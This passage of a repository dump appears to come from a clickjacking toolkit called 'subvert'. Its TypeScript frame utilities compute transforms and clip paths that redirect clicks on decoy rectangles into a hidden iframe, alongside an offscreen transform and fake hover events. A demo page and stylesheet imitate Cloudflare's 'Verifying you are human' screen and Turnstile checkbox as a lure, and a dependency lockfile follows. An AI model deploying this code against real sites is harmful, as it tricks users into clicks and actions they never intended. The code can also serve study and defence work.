retriveFrame(): HTMLIFrameElement { 168 | if (this.disposed) throw new Error('Frame has been disposed') 169 | this.frameRetrieved = true 170 | this.dispose() 171 | return this.element 172 | } 173 | 174 | /** 175 | * remove the frame from the DOM and clean up 176 | */ 177 | dispose() { 178 | this.disposed = true 179 | if (this.currentAttack) { 180 | this.currentAttack.dispose() 181 | this.currentAttack = null 182 | } 183 | 184 | // Only remove the frame if it hasn't been retrieved 185 | if (!this.frameRetrieved) { 186 | if (this.element.parentNode) { 187 | this.element.parentNode.removeChild(this.element) 188 | } 189 | this.element.remove() 190 | this.element.src = '' 191 | } 192 | } 193 | [Symbol.dispose]() { 194 | this.dispose() 195 | } 196 | } 197 | -------------------------------------------------------------------------------- /library/frame/frameUtils.ts: -------------------------------------------------------------------------------- 1 | import type { Coordinate } from '../utils' 2 | 3 | export const hiddenTransform = 'translate(-300%, -300%)' 4 | 5 | /** 6 | * Calculate the CSS transform required to map a source rectangle to a target rectangle. 7 | * Assumes that the element has `transform-origin: 0 0` 8 | * @param source - The source rectangle with properties: top, left, width, height. 9 | * @param target - The target rectangle with properties: top, left, width, height. 10 | * @returns A string representing the CSS transform to apply to an element. 11 | */ 12 | 13 | export function calculateTransform( 14 | source: { top: number; left: number; width: number; height: number }, 15 | target: { top: number; left: number; width: number; height: number } 16 | ) { 17 | const transforms = [ 18 | `translate(${-source.left}px, ${-source.top}px)`, 19 | `scale(${target.width / source.width}, ${target.height / source.height})`, 20 | `translate(${target.left}px, ${target.top}px)`, 21 | ] 22 | return transforms.reverse().join(' ') 23 | } 24 | /** 25 | * Transforms a point from the source rectangle to the target rectangle. 26 | * Follows the same math as `calculateTransform`. 27 | * @param source - The source rectangle with properties: top, left, width, height. 28 | * @param target - The target rectangle with properties: top, left, width, height. 29 | * @param point - The point to transform, with properties: x, y. 30 | * @returns A new point with the transformed coordinates. 31 | */ 32 | 33 | export function transformPoint( 34 | source: { top: number; left: number; width: number; height: number }, 35 | target: { top: number; left: number; width: number; height: number }, 36 | point: Coordinate 37 | ): Coordinate { 38 | // First, transform the point into a unit square 39 | const unitX = (point.x - source.left) / source.width 40 | const unitY = (point.y - source.top) / source.height 41 | // Then, scale it to the target rectangle 42 | const targetX = target.left + unitX * target.width 43 | const targetY = target.top + unitY * target.height 44 | return { x: targetX, y: targetY } 45 | } 46 | /** 47 | * Calculate the CSS transform and clip-path required to take the source rectangle 48 | * and stretch and clip it to all of the target rectangles. This makes it so a click 49 | * in any of the target rectangles will end up somewhere in the source rectangle. 50 | * Assumes that the element has `transform-origin: 0 0` 51 | * @param source - The source rectangle with properties: top, left, width, height. 52 | * @param targets - An array of target rectangles, each with properties: top, left, width, height. 53 | * @returns An object containing the CSS transform and clip-path to apply to an element. 54 | */ 55 | 56 | export function calculateTransformAndClip( 57 | source: { top: number; left: number; width: number; height: number }, 58 | targets: { top: number; left: number; width: number; height: number }[] 59 | ): { 60 | transform: string 61 | clipPath: string 62 | } { 63 | // clip-path applies to the element before the transform, so we need to figure out the path 64 | // that will be transformed to the correct target rectangles when the transform is applied 65 | // then, we transform the source rectangle to the bounding box of all the target rectangles 66 | if (targets.length === 0) { 67 | return { transform: hiddenTransform, clipPath: 'none' } 68 | } 69 | 70 | const targetsBoundingBox = targets.reduce((acc, target) => { 71 | return { 72 | top: Math.min(acc.top, target.top), 73 | left: Math.min(acc.left, target.left), 74 | width: 75 | Math.max(acc.left + acc.width, target.left + target.width) - 76 | Math.min(acc.left, target.left), 77 | height: 78 | Math.max(acc.top + acc.height, target.top + target.height) - 79 | Math.min(acc.top, target.top), 80 | } 81 | }) 82 | 83 | const transform = calculateTransform(source, targetsBoundingBox) 84 | 85 | // clip-path is a svg path of all target rectangles, transformed back to the source rectangle 86 | const paths = targets.map((target) => { 87 | // Transform this target rectangle back to the source rectangle 88 | const transformedTopLeft = transformPoint(targetsBoundingBox, source, { 89 | x: target.left, 90 | y: target.top, 91 | }) 92 | const transformedBottomRight = transformPoint(targetsBoundingBox, source, { 93 | x: target.left + target.width, 94 | y: target.top + target.height, 95 | }) 96 | const transformedTarget = { 97 | x: transformedTopLeft.x, 98 | y: transformedTopLeft.y, 99 | width: transformedBottomRight.x - transformedTopLeft.x, 100 | height: transformedBottomRight.y - transformedTopLeft.y, 101 | } 102 | return ( 103 | // Move to the top-left corner 104 | `M${transformedTarget.x},${transformedTarget.y}` + 105 | // Horizontal line to the right 106 | `h${transformedTarget.width}` + 107 | // Vertical line down 108 | `v${transformedTarget.height}` + 109 | // Horizontal line to the left 110 | `h-${transformedTarget.width}` + 111 | // Close the path 112 | `Z` 113 | ) 114 | }) 115 | 116 | const clipPath = `path(${JSON.stringify(paths.join(' '))})` 117 | 118 | return { transform, clipPath } 119 | } 120 | 121 | export function pageFocus() { 122 | const tempElement = document.createElement('input') 123 | document.body.appendChild(tempElement) 124 | tempElement.focus() 125 | document.body.removeChild(tempElement) 126 | } 127 | 128 | export function fakeHover(element: HTMLElement, hover: boolean): boolean { 129 | const eventTypes = hover 130 | ? ['pointerover', 'pointerenter', 'mouseover'] 131 | : ['pointerout', 'pointerleave', 'mouseout'] 132 | for (const eventType of eventTypes) { 133 | element.dispatchEvent( 134 | new PointerEvent(eventType, { 135 | bubbles: true, 136 | cancelable: true, 137 | composed: true, 138 | pointerType: 'mouse', 139 | }) 140 | ) 141 | } 142 | 143 | if ( 144 | element.tagName === 'BUTTON' || 145 | (element.tagName === 'INPUT' && 146 | ['button', 'submit', 'reset'].includes( 147 | (element as HTMLInputElement).type 148 | )) 149 | ) { 150 | // If the element is a button, see if we can fake hover styling for the OS 151 | if ( 152 | navigator.platform.startsWith('Mac') || 153 | [ 154 | 'iPad Simulator', 155 | 'iPhone Simulator', 156 | 'iPod Simulator', 157 | 'iPad', 158 | 'iPhone', 159 | 'iPod', 160 | ].includes(navigator.platform) 161 | ) { 162 | // On Apple devices, apply background color to simulate hover 163 | if (hover) { 164 | Object.assign(element.style, { 165 | backgroundColor: '#d0d0d7', 166 | border: '1px solid #676774', 167 | padding: '2px 5px', 168 | borderRadius: '4px', 169 | }) 170 | } else { 171 | element.style = '' // Reset style 172 | } 173 | return true 174 | } 175 | } 176 | return false 177 | } 178 | -------------------------------------------------------------------------------- /demo/blog/second.html: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | Just a moment... 5 | 6 | 22 | 23 | 24 | 25 | 26 |
27 |
28 |

29 | 32 |

33 |

37 | Verifying you are human. This may take a few seconds. 38 |

39 | 40 |
41 |
42 |
43 |
44 |
45 |
46 |
47 |
48 |
49 | 202 | 203 |
204 | 207 | needs to review the security of your connection before proceeding. 208 |
209 | 210 | 217 |
218 |
219 |
220 |
221 | 235 |
236 | 237 |
238 | 247 | 248 | 249 | -------------------------------------------------------------------------------- /demo/blog/cloudflare.css: -------------------------------------------------------------------------------- 1 | @import url('https://fonts.googleapis.com/css2?family=Roboto:wght@100..900&display=swap'); 2 | 3 | #follow-position { 4 | position: fixed; 5 | height: 32px; 6 | border-radius: 6px; 7 | left: 1rem; 8 | top: calc( 9 | 9.625rem + 20px + max(2rem, 32px) + max((100vw - 2rem) / 6, 2rem + 54px) 10 | ); 11 | width: calc(100vw - 2rem); 12 | 13 | visibility: hidden; 14 | } 15 | @media (max-width: 275px) { 16 | #follow-position { 17 | top: calc(11.625rem + 98px + max(2rem, 32px)); 18 | } 19 | } 20 | @media (min-width: 768px) { 21 | #follow-position { 22 | left: 1.5rem; 23 | top: calc(9rem + 310px + max(2rem, 32px)); 24 | width: 256px; 25 | } 26 | } 27 | @media (min-width: 1012px) { 28 | #follow-position { 29 | left: calc(2rem + max((100vw - 1280px) / 2, 0px)); 30 | top: calc(9rem + 350px + max(2rem, 32px)); 31 | width: 296px; 32 | } 33 | } 34 | 35 | #popup { 36 | position: fixed; 37 | background-color: #fafafa; 38 | border: 1px solid #cccccc; 39 | box-shadow: rgba(0, 0, 0, 0.2) 2px 2px 3px; 40 | transition: 41 | visibility linear, 42 | opacity 0.3s linear; 43 | 44 | color: white; 45 | font-family: Roboto, helvetica, arial, sans-serif; 46 | font-size: 14px; 47 | } 48 | .popup-header { 49 | height: 113px; 50 | background-color: #1a73e8; 51 | padding: 24px; 52 | margin: 7px; 53 | } 54 | .popup-bar { 55 | position: absolute; 56 | bottom: 0; 57 | left: 0; 58 | right: 0; 59 | border-top: 1px solid #dfdfdf; 60 | padding-bottom: 47px; 61 | } 62 | #popup-button { 63 | position: fixed; 64 | 65 | border: none; 66 | border-radius: 2px; 67 | background-color: #1a73e8; 68 | cursor: pointer; 69 | font-size: 14px; 70 | font-weight: 500; 71 | color: inherit; 72 | } 73 | 74 | * { 75 | box-sizing: border-box; 76 | margin: 0; 77 | padding: 0; 78 | } 79 | html { 80 | line-height: 1.15; 81 | -webkit-text-size-adjust: 100%; 82 | color: #313131; 83 | font-family: 84 | system-ui, 85 | -apple-system, 86 | BlinkMacSystemFont, 87 | Segoe UI, 88 | Roboto, 89 | Helvetica Neue, 90 | Arial, 91 | Noto Sans, 92 | sans-serif, 93 | Apple Color Emoji, 94 | Segoe UI Emoji, 95 | Segoe UI Symbol, 96 | Noto Color Emoji; 97 | } 98 | body { 99 | display: flex; 100 | flex-direction: column; 101 | height: 100vh; 102 | min-height: 100vh; 103 | } 104 | a { 105 | color: #0051c3; 106 | background-color: #0000; 107 | text-decoration: none; 108 | transition: color 0.15s; 109 | } 110 | a:hover { 111 | color: #ee730a; 112 | text-decoration: underline; 113 | } 114 | main { 115 | width: 100%; 116 | max-width: 60rem; 117 | margin: 8rem auto; 118 | padding-left: 1.5rem; 119 | padding-right: 1.5rem; 120 | } 121 | .spacer { 122 | margin: 2rem 0; 123 | } 124 | .spacer-top { 125 | margin-top: 4rem; 126 | } 127 | .spacer-bottom { 128 | margin-bottom: 2rem; 129 | } 130 | .main-wrapper { 131 | flex-direction: column; 132 | flex: 1; 133 | align-items: center; 134 | display: flex; 135 | } 136 | 137 | h1 { 138 | font-size: 2.5rem; 139 | font-weight: 500; 140 | line-height: 3.75rem; 141 | } 142 | h2 { 143 | font-size: 1.5rem; 144 | font-weight: 500; 145 | line-height: 2.25rem; 146 | } 147 | .core-msg { 148 | font-size: 1.5rem; 149 | font-weight: 400; 150 | line-height: 2.25rem; 151 | } 152 | 153 | .text-center { 154 | text-align: center; 155 | } 156 | footer { 157 | width: 100%; 158 | max-width: 60rem; 159 | margin: 0 auto; 160 | padding-left: 1.5rem; 161 | padding-right: 1.5rem; 162 | font-size: 0.75rem; 163 | line-height: 1.125rem; 164 | } 165 | .footer-inner { 166 | border-top: 1px solid #d9d9d9; 167 | padding-top: 1rem; 168 | padding-bottom: 1rem; 169 | } 170 | .diagnostic-wrapper { 171 | margin-bottom: 0.5rem; 172 | } 173 | footer .ray-id { 174 | text-align: center; 175 | } 176 | footer .ray-id code { 177 | font-family: monaco, courier, monospace; 178 | } 179 | .core-msg, 180 | .zone-name-title { 181 | overflow-wrap: break-word; 182 | } 183 | .loading-verifying { 184 | height: 76.391px; 185 | } 186 | 187 | .lds-ring { 188 | width: 1.875rem; 189 | height: 1.875rem; 190 | display: inline-block; 191 | position: relative; 192 | } 193 | .lds-ring div { 194 | box-sizing: border-box; 195 | border: 0.3rem solid #0000; 196 | border-top-color: #313131; 197 | border-radius: 50%; 198 | width: 1.875rem; 199 | height: 1.875rem; 200 | animation: 1.2s cubic-bezier(0.5, 0, 0.5, 1) infinite lds-ring; 201 | display: block; 202 | position: absolute; 203 | } 204 | .lds-ring div:first-child { 205 | animation-delay: -0.45s; 206 | } 207 | .lds-ring div:nth-child(2) { 208 | animation-delay: -0.3s; 209 | } 210 | .lds-ring div:nth-child(3) { 211 | animation-delay: -0.15s; 212 | } 213 | @keyframes lds-ring { 214 | from { 215 | transform: rotate(0); 216 | } 217 | to { 218 | transform: rotate(360deg); 219 | } 220 | } 221 | 222 | @media (width <= 720px) { 223 | main { 224 | margin-top: 4rem; 225 | } 226 | h1 { 227 | font-size: 1.5rem; 228 | line-height: 1.75rem; 229 | } 230 | h2 { 231 | font-size: 1.25rem; 232 | line-height: 1.5rem; 233 | } 234 | .core-msg { 235 | font-size: 1rem; 236 | line-height: 1.5rem; 237 | } 238 | .diagnostic-wrapper { 239 | flex-wrap: wrap; 240 | justify-content: center; 241 | display: flex; 242 | } 243 | .clearfix:after { 244 | display: initial; 245 | clear: none; 246 | text-align: center; 247 | content: none; 248 | } 249 | .column { 250 | padding-bottom: 2rem; 251 | } 252 | .clearfix .column { 253 | float: none; 254 | word-break: keep-all; 255 | width: auto; 256 | padding: 0; 257 | } 258 | .zone-name-title { 259 | margin-bottom: 1rem; 260 | } 261 | } 262 | @media (prefers-color-scheme: dark) { 263 | body { 264 | color: #d9d9d9; 265 | background-color: #222; 266 | } 267 | body a { 268 | color: #fff; 269 | } 270 | body a:hover { 271 | color: #ee730a; 272 | text-decoration: underline; 273 | } 274 | body .lds-ring div { 275 | border-color: #999 #0000 #0000; 276 | } 277 | } 278 | 279 | /************* Turnstile *************/ 280 | 281 | .turnstile { 282 | border: medium; 283 | overflow: hidden; 284 | width: 300px; 285 | height: 65px; 286 | margin: 0; 287 | padding: 0; 288 | } 289 | .turnstile-main-wrapper { 290 | color: #232323; 291 | -webkit-font-smoothing: antialiased; 292 | background-color: #fff; 293 | width: 100%; 294 | height: 100%; 295 | margin: 0; 296 | padding: 0; 297 | font-family: 298 | -apple-system, 299 | system-ui, 300 | blinkmacsystemfont, 301 | Segoe UI, 302 | roboto, 303 | oxygen, 304 | ubuntu, 305 | Helvetica Neue, 306 | arial, 307 | sans-serif; 308 | font-size: 14px; 309 | font-style: normal; 310 | font-weight: 400; 311 | overflow: hidden; 312 | } 313 | .content { 314 | box-sizing: border-box; 315 | user-select: none; 316 | background-color: #fafafa; 317 | border: 1px solid #e0e0e0; 318 | justify-content: space-between; 319 | align-items: center; 320 | gap: 7px; 321 | height: 65px; 322 | display: flex; 323 | } 324 | .branding { 325 | text-align: right; 326 | flex-direction: column; 327 | margin: 0 16px 0 0; 328 | display: inline-flex; 329 | } 330 | .verifying-i { 331 | width: 30px; 332 | height: 30px; 333 | animation: 5s linear infinite spin; 334 | display: flex; 335 | } 336 | #error-overrun { 337 | margin-top: 2px; 338 | } 339 | 340 | #error-overrun, 341 | .fr-overrun { 342 | display: inline-block; 343 | } 344 | 345 | .fr-overrun { 346 | margin-left: 0; 347 | margin-right: 0.25em; 348 | } 349 | 350 | .fr-overrun-link { 351 | display: inline-block; 352 | } 353 | .logo { 354 | height: 25px; 355 | margin-bottom: 1px; 356 | } 357 | .cb-c { 358 | cursor: pointer; 359 | text-align: left; 360 | align-items: center; 361 | margin-left: 16px; 362 | display: flex; 363 | } 364 | .cb-lb { 365 | place-items: center; 366 | display: grid; 367 | } 368 | .cb-lb input { 369 | opacity: 0; 370 | z-index: 9999; 371 | cursor: pointer; 372 | grid-area: 1/1; 373 | width: 24px; 374 | height: 24px; 375 | margin: 0; 376 | } 377 | .cb-lb input:focus ~ .cb-i, 378 | .cb-lb input:active ~ .cb-i { 379 | border: 2px solid #c44d0e; 380 | } 381 | .cb-lb input:checked ~ .cb-i { 382 | opacity: 1; 383 | background-color: #fff; 384 | border-radius: 5px; 385 | transform: rotate(0) scale(1); 386 | } 387 | .cb-lb input:checked ~ .cb-i:after { 388 | border: 4px solid #c44d0e; 389 | border-width: 0 4px 4px 0; 390 | border-radius: 0; 391 | width: 6px; 392 | height: 12px; 393 | top: 0; 394 | left: 5px; 395 | transform: rotate(45deg) scale(1); 396 | } 397 | .cb-lb .cb-i { 398 | box-sizing: border-box; 399 | z-index: 9998; 400 | background: #fff; 401 | border: 2px solid #6d6d6d; 402 | border-radius: 3px; 403 | grid-area: 1/1; 404 | width: 24px; 405 | height: 24px; 406 | transition: all 0.1s ease-in; 407 | animation: 0.4s cubic-bezier(0.55, 0.085, 0.68, 0.53) both scale-up-center; 408 | } 409 | .cb-lb .cb-i:after { 410 | content: ''; 411 | border-radius: 5px; 412 | position: absolute; 413 | } 414 | .cb-lb .cb-lb-t { 415 | grid-column: 2; 416 | margin-left: 8px; 417 | } 418 | .cb-lb-t { 419 | flex-flow: row-reverse; 420 | place-content: center flex-end; 421 | align-items: center; 422 | display: flex; 423 | } 424 | .terms { 425 | color: #232323; 426 | justify-content: flex-end; 427 | font-size: 8px; 428 | font-style: normal; 429 | line-height: 10px; 430 | display: inline-flex; 431 | } 432 | .terms .link-spacer { 433 | margin: 0 0.2rem; 434 | } 435 | .terms a { 436 | color: #232323; 437 | font-size: 8px; 438 | font-style: normal; 439 | font-weight: 400; 440 | line-height: 10px; 441 | text-decoration: underline; 442 | } 443 | .terms a:link, 444 | .terms a:visited { 445 | color: #232323; 446 | font-size: 8px; 447 | font-style: normal; 448 | font-weight: 400; 449 | line-height: 10px; 450 | text-decoration: underline; 451 | } 452 | .terms a:hover, 453 | .terms a:focus, 454 | .terms a:active { 455 | color: #166379; 456 | text-decoration: underline; 457 | } 458 | .unspun .circle { 459 | animation: 0.7s cubic-bezier(0.65, 0, 0.45, 1) forwards unspin; 460 | } 461 | .circle { 462 | stroke-width: 3px; 463 | stroke-linecap: round; 464 | stroke: #038127; 465 | stroke-dasharray: 0 100 0; 466 | stroke-dashoffset: 200px; 467 | stroke-miterlimit: 1; 468 | stroke-linejoin: round; 469 | } 470 | .turnstile-main-wrapper { 471 | border-spacing: 0; 472 | } 473 | .cb-container { 474 | grid-template-columns: 30px auto; 475 | align-items: center; 476 | gap: 12px; 477 | margin-left: 16px; 478 | display: grid; 479 | } 480 | .logo-text { 481 | fill: #000; 482 | } 483 | .error-message { 484 | color: #de1303; 485 | font-size: 9px; 486 | font-weight: 500; 487 | } 488 | .error-message a:link, 489 | .error-message a:visited { 490 | color: #de1303; 491 | } 492 | .error-message a:active, 493 | .error-message a:hover, 494 | .error-message a:focus { 495 | color: #166379; 496 | } 497 | 498 | @keyframes spin { 499 | to { 500 | transform: rotate(360deg); 501 | } 502 | } 503 | @keyframes scale-up-center { 504 | from { 505 | transform: scale(0.01); 506 | } 507 | to { 508 | transform: scale(1); 509 | } 510 | } 511 | @keyframes unspin { 512 | 40% { 513 | stroke-width: 1px; 514 | stroke-linecap: square; 515 | stroke-dashoffset: 192px; 516 | } 517 | to { 518 | stroke-width: 0; 519 | } 520 | } 521 | -------------------------------------------------------------------------------- /bun.lock: -------------------------------------------------------------------------------- 1 | { 2 | "lockfileVersion": 1, 3 | "workspaces": { 4 | "": { 5 | "name": "subvert", 6 | "dependencies": { 7 | "fast-glob": "^3.3.3", 8 | "vite": "^6.3.5", 9 | }, 10 | "devDependencies": { 11 | "@types/bun": "latest", 12 | "prettier": "^3.5.3", 13 | "repomix": "^0.3.7", 14 | }, 15 | "peerDependencies": { 16 | "typescript": "^5", 17 | }, 18 | }, 19 | }, 20 | "packages": { 21 | "@clack/core": ["@clack/core@0.4.2", "", { "dependencies": { "picocolors": "^1.0.0", "sisteransi": "^1.0.5" } }, "sha512-NYQfcEy8MWIxrT5Fj8nIVchfRFA26yYKJcvBS7WlUIlw2OmQOY9DhGGXMovyI5J5PpxrCPGkgUi207EBrjpBvg=="], 22 | 23 | "@clack/prompts": ["@clack/prompts@0.10.1", "", { "dependencies": { "@clack/core": "0.4.2", "picocolors": "^1.0.0", "sisteransi": "^1.0.5" } }, "sha512-Q0T02vx8ZM9XSv9/Yde0jTmmBQufZhPJfYAg2XrrrxWWaZgq1rr8nU8Hv710BQ1dhoP8rtY7YUdpGej2Qza/cw=="], 24 | 25 | "@esbuild/aix-ppc64": ["@esbuild/aix-ppc64@0.25.5", "", { "os": "aix", "cpu": "ppc64" }, "sha512-9o3TMmpmftaCMepOdA5k/yDw8SfInyzWWTjYTFCX3kPSDJMROQTb8jg+h9Cnwnmm1vOzvxN7gIfB5V2ewpjtGA=="], 26 | 27 | "@esbuild/android-arm": ["@esbuild/android-arm@0.25.5", "", { "os": "android", "cpu": "arm" }, "sha512-AdJKSPeEHgi7/ZhuIPtcQKr5RQdo6OO2IL87JkianiMYMPbCtot9fxPbrMiBADOWWm3T2si9stAiVsGbTQFkbA=="], 28 | 29 | "@esbuild/android-arm64": ["@esbuild/android-arm64@0.25.5", "", { "os": "android", "cpu": "arm64" }, "sha512-VGzGhj4lJO+TVGV1v8ntCZWJktV7SGCs3Pn1GRWI1SBFtRALoomm8k5E9Pmwg3HOAal2VDc2F9+PM/rEY6oIDg=="], 30 | 31 | "@esbuild/android-x64": ["@esbuild/android-x64@0.25.5", "", { "os": "android", "cpu": "x64" }, "sha512-D2GyJT1kjvO//drbRT3Hib9XPwQeWd9vZoBJn+bu/lVsOZ13cqNdDeqIF/xQ5/VmWvMduP6AmXvylO/PIc2isw=="], 32 | 33 | "@esbuild/darwin-arm64": ["@esbuild/darwin-arm64@0.25.5", "", { "os": "darwin", "cpu": "arm64" }, "sha512-GtaBgammVvdF7aPIgH2jxMDdivezgFu6iKpmT+48+F8Hhg5J/sfnDieg0aeG/jfSvkYQU2/pceFPDKlqZzwnfQ=="], 34 | 35 | "@esbuild/darwin-x64": ["@esbuild/darwin-x64@0.25.5", "", { "os": "darwin", "cpu": "x64" }, "sha512-1iT4FVL0dJ76/q1wd7XDsXrSW+oLoquptvh4CLR4kITDtqi2e/xwXwdCVH8hVHU43wgJdsq7Gxuzcs6Iq/7bxQ=="], 36 | 37 | "@esbuild/freebsd-arm64": ["@esbuild/freebsd-arm64@0.25.5", "", { "os": "freebsd", "cpu": "arm64" }, "sha512-nk4tGP3JThz4La38Uy/gzyXtpkPW8zSAmoUhK9xKKXdBCzKODMc2adkB2+8om9BDYugz+uGV7sLmpTYzvmz6Sw=="], 38 | 39 | "@esbuild/freebsd-x64": ["@esbuild/freebsd-x64@0.25.5", "", { "os": "freebsd", "cpu": "x64" }, "sha512-PrikaNjiXdR2laW6OIjlbeuCPrPaAl0IwPIaRv+SMV8CiM8i2LqVUHFC1+8eORgWyY7yhQY+2U2fA55mBzReaw=="], 40 | 41 | "@esbuild/linux-arm": ["@esbuild/linux-arm@0.25.5", "", { "os": "linux", "cpu": "arm" }, "sha512-cPzojwW2okgh7ZlRpcBEtsX7WBuqbLrNXqLU89GxWbNt6uIg78ET82qifUy3W6OVww6ZWobWub5oqZOVtwolfw=="], 42 | 43 | "@esbuild/linux-arm64": ["@esbuild/linux-arm64@0.25.5", "", { "os": "linux", "cpu": "arm64" }, "sha512-Z9kfb1v6ZlGbWj8EJk9T6czVEjjq2ntSYLY2cw6pAZl4oKtfgQuS4HOq41M/BcoLPzrUbNd+R4BXFyH//nHxVg=="], 44 | 45 | "@esbuild/linux-ia32": ["@esbuild/linux-ia32@0.25.5", "", { "os": "linux", "cpu": "ia32" }, "sha512-sQ7l00M8bSv36GLV95BVAdhJ2QsIbCuCjh/uYrWiMQSUuV+LpXwIqhgJDcvMTj+VsQmqAHL2yYaasENvJ7CDKA=="], 46 | 47 | "@esbuild/linux-loong64": ["@esbuild/linux-loong64@0.25.5", "", { "os": "linux", "cpu": "none" }, "sha512-0ur7ae16hDUC4OL5iEnDb0tZHDxYmuQyhKhsPBV8f99f6Z9KQM02g33f93rNH5A30agMS46u2HP6qTdEt6Q1kg=="], 48 | 49 | "@esbuild/linux-mips64el": ["@esbuild/linux-mips64el@0.25.5", "", { "os": "linux", "cpu": "none" }, "sha512-kB/66P1OsHO5zLz0i6X0RxlQ+3cu0mkxS3TKFvkb5lin6uwZ/ttOkP3Z8lfR9mJOBk14ZwZ9182SIIWFGNmqmg=="], 50 | 51 | "@esbuild/linux-ppc64": ["@esbuild/linux-ppc64@0.25.5", "", { "os": "linux", "cpu": "ppc64" }, "sha512-UZCmJ7r9X2fe2D6jBmkLBMQetXPXIsZjQJCjgwpVDz+YMcS6oFR27alkgGv3Oqkv07bxdvw7fyB71/olceJhkQ=="], 52 | 53 | "@esbuild/linux-riscv64": ["@esbuild/linux-riscv64@0.25.5", "", { "os": "linux", "cpu": "none" }, "sha512-kTxwu4mLyeOlsVIFPfQo+fQJAV9mh24xL+y+Bm6ej067sYANjyEw1dNHmvoqxJUCMnkBdKpvOn0Ahql6+4VyeA=="], 54 | 55 | "@esbuild/linux-s390x": ["@esbuild/linux-s390x@0.25.5", "", { "os": "linux", "cpu": "s390x" }, "sha512-K2dSKTKfmdh78uJ3NcWFiqyRrimfdinS5ErLSn3vluHNeHVnBAFWC8a4X5N+7FgVE1EjXS1QDZbpqZBjfrqMTQ=="], 56 | 57 | "@esbuild/linux-x64": ["@esbuild/linux-x64@0.25.5", "", { "os": "linux", "cpu": "x64" }, "sha512-uhj8N2obKTE6pSZ+aMUbqq+1nXxNjZIIjCjGLfsWvVpy7gKCOL6rsY1MhRh9zLtUtAI7vpgLMK6DxjO8Qm9lJw=="], 58 | 59 | "@esbuild/netbsd-arm64": ["@esbuild/netbsd-arm64@0.25.5", "", { "os": "none", "cpu": "arm64" }, "sha512-pwHtMP9viAy1oHPvgxtOv+OkduK5ugofNTVDilIzBLpoWAM16r7b/mxBvfpuQDpRQFMfuVr5aLcn4yveGvBZvw=="], 60 | 61 | "@esbuild/netbsd-x64": ["@esbuild/netbsd-x64@0.25.5", "", { "os": "none", "cpu": "x64" }, "sha512-WOb5fKrvVTRMfWFNCroYWWklbnXH0Q5rZppjq0vQIdlsQKuw6mdSihwSo4RV/YdQ5UCKKvBy7/0ZZYLBZKIbwQ=="], 62 | 63 | "@esbuild/openbsd-arm64": ["@esbuild/openbsd-arm64@0.25.5", "", { "os": "openbsd", "cpu": "arm64" }, "sha512-7A208+uQKgTxHd0G0uqZO8UjK2R0DDb4fDmERtARjSHWxqMTye4Erz4zZafx7Di9Cv+lNHYuncAkiGFySoD+Mw=="], 64 | 65 | "@esbuild/openbsd-x64": ["@esbuild/openbsd-x64@0.25.5", "", { "os": "openbsd", "cpu": "x64" }, "sha512-G4hE405ErTWraiZ8UiSoesH8DaCsMm0Cay4fsFWOOUcz8b8rC6uCvnagr+gnioEjWn0wC+o1/TAHt+It+MpIMg=="], 66 | 67 | "@esbuild/sunos-x64": ["@esbuild/sunos-x64@0.25.5", "", { "os": "sunos", "cpu": "x64" }, "sha512-l+azKShMy7FxzY0Rj4RCt5VD/q8mG/e+mDivgspo+yL8zW7qEwctQ6YqKX34DTEleFAvCIUviCFX1SDZRSyMQA=="], 68 | 69 | "@esbuild/win32-arm64": ["@esbuild/win32-arm64@0.25.5", "", { "os": "win32", "cpu": "arm64" }, "sha512-O2S7SNZzdcFG7eFKgvwUEZ2VG9D/sn/eIiz8XRZ1Q/DO5a3s76Xv0mdBzVM5j5R639lXQmPmSo0iRpHqUUrsxw=="], 70 | 71 | "@esbuild/win32-ia32": ["@esbuild/win32-ia32@0.25.5", "", { "os": "win32", "cpu": "ia32" }, "sha512-onOJ02pqs9h1iMJ1PQphR+VZv8qBMQ77Klcsqv9CNW2w6yLqoURLcgERAIurY6QE63bbLuqgP9ATqajFLK5AMQ=="], 72 | 73 | "@esbuild/win32-x64": ["@esbuild/win32-x64@0.25.5", "", { "os": "win32", "cpu": "x64" }, "sha512-TXv6YnJ8ZMVdX+SXWVBo/0p8LTcrUYngpWjvm91TMjjBQii7Oz11Lw5lbDV5Y0TzuhSJHwiH4hEtC1I42mMS0g=="], 74 | 75 | "@isaacs/balanced-match": ["@isaacs/balanced-match@4.0.1", "", {}, "sha512-yzMTt9lEb8Gv7zRioUilSglI0c0smZ9k5D65677DLWLtWJaXIS3CqcGyUFByYKlnUj6TkjLVs54fBl6+TiGQDQ=="], 76 | 77 | "@isaacs/brace-expansion": ["@isaacs/brace-expansion@5.0.0", "", { "dependencies": { "@isaacs/balanced-match": "^4.0.1" } }, "sha512-ZT55BDLV0yv0RBm2czMiZ+SqCGO7AvmOM3G/w2xhVPH+te0aKgFjmBvGlL1dH+ql2tgGO3MVrbb3jCKyvpgnxA=="], 78 | 79 | "@modelcontextprotocol/sdk": ["@modelcontextprotocol/sdk@1.13.1", "", { "dependencies": { "ajv": "^6.12.6", "content-type": "^1.0.5", "cors": "^2.8.5", "cross-spawn": "^7.0.5", "eventsource": "^3.0.2", "express": "^5.0.1", "express-rate-limit": "^7.5.0", "pkce-challenge": "^5.0.0", "raw-body": "^3.0.0", "zod": "^3.23.8", "zod-to-json-schema": "^3.24.1" } }, "sha512-8q6+9aF0yA39/qWT/uaIj6zTpC+Qu07DnN/lb9mjoquCJsAh6l3HyYqc9O3t2j7GilseOQOQimLg7W3By6jqvg=="], 80 | 81 | "@napi-rs/nice": ["@napi-rs/nice@1.0.1", "", { "optionalDependencies": { "@napi-rs/nice-android-arm-eabi": "1.0.1", "@napi-rs/nice-android-arm64": "1.0.1", "@napi-rs/nice-darwin-arm64": "1.0.1", "@napi-rs/nice-darwin-x64": "1.0.1", "@napi-rs/nice-freebsd-x64": "1.0.1", "@napi-rs/nice-linux-arm-gnueabihf": "1.0.1", "@napi-rs/nice-linux-arm64-gnu": "1.0.1", "@napi-rs/nice-linux-arm64-musl": "1.0.1", "@napi-rs/nice-linux-ppc64-gnu": "1.0.1", "@napi-rs/nice-linux-riscv64-gnu": "1.0.1", "@napi-rs/nice-linux-s390x-gnu": "1.0.1", "@napi-rs/nice-linux-x64-gnu": "1.0.1", "@napi-rs/nice-linux-x64-musl": "1.0.1", "@napi-rs/nice-win32-arm64-msvc": "1.0.1", "@napi-rs/nice-win32-ia32-msvc": "1.0.1", "@napi-rs/nice-win32-x64-msvc": "1.0.1" } }, "sha512-zM0mVWSXE0a0h9aKACLwKmD6nHcRiKrPpCfvaKqG1CqDEyjEawId0ocXxVzPMCAm6kkWr2P025msfxXEnt8UGQ=="], 82 | 83 | "@napi-rs/nice-android-arm-eabi": ["@napi-rs/nice-android-arm-eabi@1.0.1", "", { "os": "android", "cpu": 